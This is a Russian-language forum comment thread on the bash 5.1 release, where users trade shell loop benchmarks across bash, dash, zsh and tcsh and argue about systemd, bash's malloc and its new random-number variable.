  • 3.102, псевдонимус (?), 15:56, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > Системда работает крайне стабильно.
    > Постгрес упал, системктл показывает, что процесс активен и не может его рестартовать.
    > И такая радость в LTS дистрах.

    Зато нет "портянок на баш" :-)))

    Это встроенная в системду развивающая игрушка. Чтобы обмин не заскучал.

    Что поделка пишет в свой недожурнал?

     
     
  • 4.109, вынь любит вас во все девайсы (?), 16:11, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Логи не изучал. Не так давно Был инцидент у заказчика, упал портал. Моя задача была быстро поднять все взад, ребут решил вопрос.
    Неоднократно встречал сию проблему, когда дибилойд-системд находится в полной обсракции, если процесс именно падает.
     
     
  • 5.144, псевдонимус (?), 18:04, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    > Логи не изучал. Не так давно Был инцидент у заказчика, упал портал.
    > Моя задача была быстро поднять все взад, ребут решил вопрос.
    > Неоднократно встречал сию проблему, когда дибилойд-системд находится в полной обсракции,
    > если процесс именно падает.

    Оно досихпор подение "сервАйса"©™ не может нормально обработать? ;-)

    Что за дистрибутив?

     
  • 2.100, Аноним (-), 15:54, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +7 +/
    >Страшный сон системдунов зарелизился.

    Просто напросто последователи systemD не осилили GNU bash. И за этого неосиляторства и идут все байки про "лапшу". Эту простую истину я понял совсем недавно и мне стало жалко того времени что я потратил на споры с "системдунами".

     
     
  • 3.127, Аноним (39), 17:13, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +3 +/
    > последователи systemD не осилили GNU bash

    В точку! И вместо пары строк на баше им приходится писать юниты+либы+бинари, которые прибиты шурупами к системде и в них нифига не исправишь, естественно.

     
     
  • 4.166, VINRARUS (ok), 20:04, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    >> последователи systemD не осилили GNU bash
    > В точку! И вместо пары строк на баше им приходится писать юниты+либы+бинари,
    > которые прибиты шурупами к системде и в них нифига не исправишь,
    > естественно.

    моя шел твоя баш труба шатал,,,

     
  • 4.249, Видавший всякое (?), 06:44, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > пары строк

    Вот давай без вранья.

     
     
  • 5.281, Аноним (281), 06:58, 10/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Он имел ввиду пары сотен строк
     

  • 1.97, Аноним12345 (?), 15:41, 08/12/2020 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    А как же дженерики ???
     
     
  • 2.124, Ordu (ok), 16:57, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > А как же дженерики ???

    Сначала надо типизацию завезти, и только потом дженерики. "Всё есть строка" не очень способствует дженерикам.

     

  • 1.137, Аноним (137), 17:24, 08/12/2020 [ответить] [﹢﹢﹢] [ · · · ]  
  • +2 +/
    То что написано на баше 30 лет назад, заработает и сейчас.
     
     
  • 2.141, Аноним (-), 17:46, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +1 +/
    >То что написано на баше 30 лет назад, заработает и сейчас.

    fixed

    С этого предложения надо бы и начинать эту новость.

     

  • 1.153, VINRARUS (ok), 19:12, 08/12/2020 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Bash такой же  как и system:D мегакусок говнокода.

    А 5.1 ещо более тормозное и размазаное удобрение чем 5.0:
    time bash-5.0 -c 'D=1; while [ "$D" -lt 1000000 ]; do D="$((D+1))"; done'

    real    0m6,178s
    user    0m6,173s
    sys     0m0,005s

    time bash-5.1 -c 'D=1; while [ "$D" -lt 1000000 ]; do D="$((D+1))"; done'

    real    0m7,184s
    user    0m7,184s
    sys     0m0,001s

    time dash-0.5.10.2 -c 'D=1; while [ "$D" -lt 1000000 ]; do D="$((D+1))"; done'

    real    0m2,186s
    user    0m2,185s
    sys     0m0,001s

    Скомпилировано и сконфигурировано на OpenSUSE.
    ПС: кто не понял — в этом примере dash на 329% быстрее исполняет скрипт чем bash-5.1

     
     
  • 2.180, Аноним (180), 20:37, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Баш вообще в циклах хреново работает, ты бы ещё файл построчно читать попробовал. Вот попробуй, охренеешь.
    Поэтому циклы лучше на линуксовые утилиты положить, а не на баш. Башу только управление софтом, переменными, функциями можно и это реально бомба.
     
     
  • 3.184, VINRARUS (ok), 20:45, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    > Баш вообще в циклах хреново работает, ты бы ещё файл построчно читать
    > попробовал. Вот попробуй, охренеешь.
    > Поэтому циклы лучше на линуксовые утилиты положить, а не на баш. Башу
    > только управление софтом, переменными, функциями можно и это реально бомба.

    Мне вот нада скриптом управлять скоростью вентилятора следя за термодатчиками, используя простую арифметику делать плавное увеличение\уменьшение оборотов.
    Я написал скрипт весом 4 кб на sh, 4 года работает без проблем.
    На какие альтернативы среди утилит положыть эту логику?

     
     
  • 4.186, Аноним (180), 20:58, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Да для таких простых задач баш пригоден. Я имею ввиду какие-то жёсткие задачи, типо анализа текстового файла в десятки гигабайт, или запуска каких-то команд где очень быстро будет передаваться управление обратно в цикл, и весь скрипт из-за этого будет тормозить, упираться в баш.
     
  • 2.203, Аноним (180), 22:28, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Ну и эта команда на которой ты тестриуешь баш это не есть показать. У тебя простой цикл с инкриментом. Ну о чём это говорит вообще? Это не ЯП, это скриптовый, управлеченский код, нагруженные циклические проги прямо на него накидывать это бред, неэффективно.
    Баш в этой ситуации медленнее питона, но просто потому что ты баш применил так. А вот питон по другому не применить уже, вот это разница.
     
     
  • 3.211, VINRARUS (ok), 22:48, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    > Это не ЯП, это скриптовый, управлеченский код, нагруженные циклические
    > проги прямо на него накидывать это бред, неэффективно.

    Shell это язык програмирования!
    Просто большынство юзеров юникса больше однострочников не пишут.

    ПС: питон не эфективен, юзай асм.

     
  • 2.207, Аноним (16), 22:34, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Зачем тебе баш если ты его не используешь?..



    ~ $ time bash -c 'D=1; while [ "$D" -lt 1000000 ]; do D="$((D+1))"; done'

    real    0m6.578s
    user    0m6.569s
    sys     0m0.000s

    ~ $  time bash -c 'D=1; while [[ "$D" -lt 1000000 ]]; do ((D+=1)); done'

    real    0m3.558s
    user    0m3.551s
    sys     0m0.001s

    ~ $  time bash -c 'declare -i D=1; while ((D<1000000)); do ((D+=1)); done'

    real    0m2.510s
    user    0m2.505s
    sys     0m0.001s

    то же самое с регулярками и всем остальным

     
     
  • 3.215, Аноним (16), 23:23, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    А вот, кстати, zsh (но он по фичам несовместим с башем, да):



    ~ $  time zsh -c 'D=1; while [ "$D" -lt 1000000 ]; do D="$((D+1))"; done'

    real    0m4.796s
    user    0m4.470s
    sys     0m0.321s

    ~ $  time zsh -c 'D=1; while [[ "$D" -lt 1000000 ]]; do ((D+=1)); done'

    real    0m1.131s
    user    0m1.129s
    sys     0m0.001s

    ~ $  time zsh -c 'D=1; while ((D<1000000)); do ((D+=1)); done'

    real    0m0.868s
    user    0m0.867s
    sys     0m0.000s

    ~ $  time zsh -c 'declare -i D=1; while ((D<1000000)); do ((D+=1)); done'

    real    0m0.681s
    user    0m0.680s
    sys     0m0.000s


     
  • 3.217, VINRARUS (ok), 23:41, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Тогда уже не "((D+=1))", а "((D++))" наверно.

    Даже такими титаническими усилиями оно значительно медленнее даша. А также у меня огромные вопросы к смыслу таких усилий и того какое это имеет отношение к shell.

    ПС: я тоже читерить умею
    time dash -c 'D=1; while true; do case "$D" in 1000000) exit;; esac; D="$((D+1))"; done'

    real    0m0,964s
    user    0m0,958s
    sys     0m0,004s

     
     
  • 4.218, Аноним (16), 23:55, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    А какая разница Что там титанического В моём коде ничего титаническго, соверше... большой текст свёрнут, показать
     
     
  • 5.222, VINRARUS (ok), 00:50, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    >> Тогда уже не "((D+=1))", а "((D++))" наверно.
    > А какая разница?

    Если б bash нормально был написан то наверно никакой бы небыло, но по факту быстрее.

    >> Даже такими титаническими усилиями оно значительно медленнее даша. А также у меня
    >> огромные вопросы к смыслу таких усилий и того какое это имеет
    >> отношение к shell.
    > Что там титанического? В моём коде ничего титаническго, совершенно 0 усилий. Никаких
    > хаков. Я всегда только так и пишу.

    Ну да, обьясни интерпритатуру сначала шо тот набор цыфр это номер, а не слово, потом используй какие то левые С подобные конструкцыи, шобы интерпритатор исполнял роль тупого транслятора, а в итоге получи пшык в кепке.

    > Итого, даш даже с грязнохаками слился "башизмам".

    Слился в чом, в сложении? xD
    И да, я з zsh не знаком, по этому ничего про него сказать не могу, в отличии от забаганого баша.

     
     
  • 6.227, Аноним (16), 01:19, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Какие баги? Нет никаких багов. А по синтаксису, это обычный bash синтаксис и встроенный оператор объявления массивов, переменных, объявления переменных глобальными и всего остального, ему уж лет сколько. От объявления переменной числом баш не выигрывает на таком "тесте", это зш оптимизирует на 20% или сколько там, но вообще для счётчиков довольно эффективно. Я просто объявляю все числа числами, очень удобно.

    Вон там соседний ответ, расскажи пожалуйста, как удалить последний элемент массива в dash и как складывать числа в dash, я хочу сравнить производительность на сложении чисел (числа простые строки в массиве, без всего).

     
     
  • 7.273, VINRARUS (ok), 19:29, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    >Я просто объявляю все числа числами, очень удобно.

    А я не обьявляю числа числами так как в этом нет необходимости — ещо удобнее.
    >Вон там соседний ответ, расскажи пожалуйста, как удалить последний элемент массива в dash и как складывать числа в dash, я хочу сравнить производительность на сложении чисел (числа простые строки в массиве, без всего).

    raye="2 4 8 16 32 64 128 256 512 1024"
    raye="${raye% *}"
    echo "$raye"

    На какую купку складывать?

     
     
  • 8.279, Аноним (16), 22:42, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    А ничего особенного, типичная задача сложить миллион другой чисел, что такого К... большой текст свёрнут, показать
     
     
  • 9.280, VINRARUS (ok), 00:05, 10/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    whatshell sh Стопэ Отстань со своими ращосками от тех у кого нет волос Вот ... текст свёрнут, показать
     
  • 5.224, Аноним (16), 01:11, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    tcsh похоже победитель:



    $  time tcsh ~/bin/cshvariant.sh

    real    9m20.743s
    user    6m18.812s
    sys     3m31.950s


    Бтв как удалить последний элемент из массива в zsh?

    Вот это чёт не прокатывает unset 'raye[${#raye[@]}-1]' (в баше работает), а то в баше я просто напишу unset raye[-1] и всё норм.

    Короче только вот так, raye=("${(@)raye[1,$#raye-1]}")

    В итоге, на более реальной задаче баш складывает несколько чисел (300000 чисел) за

    real    0m34.796s
    user    0m2.884s
    sys     0m3.044s

    и зш за

    real    0m35.218s
    user    0m2.913s
    sys     0m3.113s

    вот и всё. :(

    и что-то сразу на реальном кейсе всё посыпалось, я надеялся будет хоть чуточку побыстрее.

     
  • 2.208, Аноним (180), 22:37, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    ~$ time bash -c 'declare -i D=1; while ((D<1000000)); do ((D+=1)); done'

    real 0m4.937s
    user 0m4.925s
    sys 0m0.004s


    На процессоре 2006 года релиза.

     
     
  • 3.214, VINRARUS (ok), 23:16, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    А с dash?
     
  • 2.225, Аноним (263), 01:11, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Забавный тест, вот другой, где все несколько иначе time dash -c for a in ... большой текст свёрнут, показать
     
     
  • 3.233, Аноним (16), 01:45, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Отличные "тесты", ага. Десятиминутный победитель из того теста справился тут за секунду.



    $  time tcsh ~/bin/cshseq.sh

    real    0m1.250s
    user    0m0.765s
    sys     0m0.469s
    $  time dash -c 'for a in 'seq 100000'; do ( :; ); done'

    real    0m14.488s
    user    0m8.667s
    sys     0m6.319s
    $  time bash -c 'for a in 'seq 100000'; do ( :; ); done'

    real    0m36.407s
    user    0m19.588s
    sys     0m17.738s
    $  time zsh -c 'for a in 'seq 100000'; do ( :; ); done'

    real    0m45.363s
    user    0m22.131s
    sys     0m25.281s


     
     
  • 4.237, Аноним (263), 02:07, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Хз, что у тебя в скрипет, а у меня:
    ~> cat t.tcsh
    foreach a ('seq 100000')
    (:;)
    end
    ~> time tcsh t.tcsh
        0m26.02s real     0m16.09s user     0m15.83s system
     
     
  • 5.238, Аноним (16), 02:13, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    #/bin/tcsh
    foreach i ( 'seq 100000' )
       :;
    end

    можно с echo "$i" -- ровно то же самое.

     
     
  • 6.240, Аноним (16), 02:17, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    В шебанге опечатка, но я скармливал интерпретатору поэтому не важно.
     
  • 6.261, Аноним (261), 14:26, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    В dash/bash круглые скобки форкают sub-shell. Я так понимаю, скрипт tcsh этого не делает, так что тест некорректен.
     
     
  • 7.266, Аноним (263), 15:00, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    > В dash/bash круглые скобки форкают sub-shell. Я так понимаю, скрипт tcsh этого
    > не делает, так что тест некорректен.

    https://linux.die.net/man/1/tcsh

    Builtin and non-builtin command execution

    Builtin commands are executed within the shell. If any component of a pipeline except the last is a builtin command, the pipeline is executed in a subshell.

    Parenthesized commands are always executed in a subshell.
        (cd; pwd); pwd
    thus prints the home directory, leaving you where you were (printing this after the home directory), while
        cd; pwd
    leaves you in the home directory. Parenthesized commands are most often used to prevent cd from affecting the current shell.

     
     
  • 8.278, Аноним (261), 22:11, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    О том и речь ... текст свёрнут, показать
     
  • 5.241, Аноним (16), 02:20, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    В общем да на (:;) выдало это

    real    0m46.337s
    user    0m24.146s
    sys     0m24.104s

     

  • 1.198, Аноним (261), 22:03, 08/12/2020 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    > Вызов malloc на 64-разрядных системах теперь выравнивает возвращаемую память по 16 байтовой границе.

    Что-то я не понял, а при чём тут bash?

     
     
  • 2.256, Аноним (256), 12:33, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • –2 +/
    > Что-то я не понял, а при чём тут bash?

    Чтоб понимать - нужно изучать и практиковать программинг. Ну там _align всякие c11 уже как минимум применять, а не диким криком неандертальца через все джунгли кричать о том что неее-е-е-поняяял

     
     
  • 3.260, Аноним (261), 14:21, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Ваш комментарий очень важен и всё сразу объяснил. Спасибо Вам, о светоч мирового программинга.

    Для тех, кому на самом деле интересно, в составе bash есть встроенная реализация malloc, и в данном случае речь о ней.

     
     
  • 4.267, Аноним (-), 15:13, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    >Ваш комментарий очень важен и всё сразу объяснил. Спасибо Вам, о светоч мирового программинга.

    А хамить обязательно надо?

     
     
  • 5.271, Аноним (261), 17:08, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    > А хамить обязательно надо?

    Это вопрос не ко мне, а к тому анониму, который написал комментарий #256.

     
     
  • 6.275, VINRARUS (ok), 19:51, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • –1 +/
    >а к тому анониму, который написал комментарий #256

    Эй, Аноним, зачем разговариваеш сам з собой?

     

  • 1.257, Аноним (257), 13:03, 09/12/2020 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    > Переработан движок генерации псевдослучайных чисел. Добавлена переменная SRANDOM, содержащая случайное 32-разрядное число из системного генератора псевдослучайных чисел (вместо LCRNG использованы вызовы getrandom/getentropy, /dev/urandom или arc4random, в зависимости от ОС). Выдаваемая последовательность теперь не является линейной и не повторяется при идентичном следовании запросов.

    То то я думаю, что такое, каждый раз под андроидом запускаю VLC плеер, музыку послушать из папки (директории). И VLC каждый раз начинает с одной и той же песни и примерно 3-5 песен в последовательности с начала одни и теже.
    get_random() { echo "42" } # it is my lovely random number ;)
    Вот какой рандом в андроиде ;)
    Может быть с этой версии bash-а все будет гораздо лучше ;)


     
     
  • 2.274, VINRARUS (ok), 19:41, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Ещо один признак кривости bash и его ненужности. Это ж нада было так упороться шобы повторяющиеся числа даже не попытаться сдвинуть по времени запуска хотя б...
    ПС: dd if=/dev/urandom bs=256 count=1 | tr -dc 0-9 | head -c 6
     

  • 1.283, Аноним (283), 15:46, 10/12/2020 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Когда уже rprompt заведут?
    В древнем tcsh есть!
     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Партнёры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2024 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру